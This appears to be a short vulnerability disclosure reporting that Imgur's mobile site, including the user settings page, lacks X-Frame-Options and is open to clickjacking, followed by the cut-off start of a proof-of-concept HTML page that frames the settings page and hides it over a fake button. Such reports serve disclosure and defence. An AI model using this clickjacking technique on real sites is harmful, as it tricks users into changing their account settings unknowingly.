Attack User Privacy Settings - X-Frame-Options missing on m.imgur.com/user/username/settings

Hello, I would like to report that almost entire mobile web site is vulnerable to clickjacking attacks, Maybe the most important critical part the **/settings** node, As an attacker could force a user to change his privacy settings with only two clicks, please see live video demonstration, of …

<html>
<head>
<title>Clickjack test page</title>
        <style>
iframe {
    width: 900px;
    height: 800px;
    /* Use absolute positioning to line up update button with fake button */
    position: absolute;
    top: 100px;
    left: 100px;
    z-index: 2;
    /* Hide from view */ …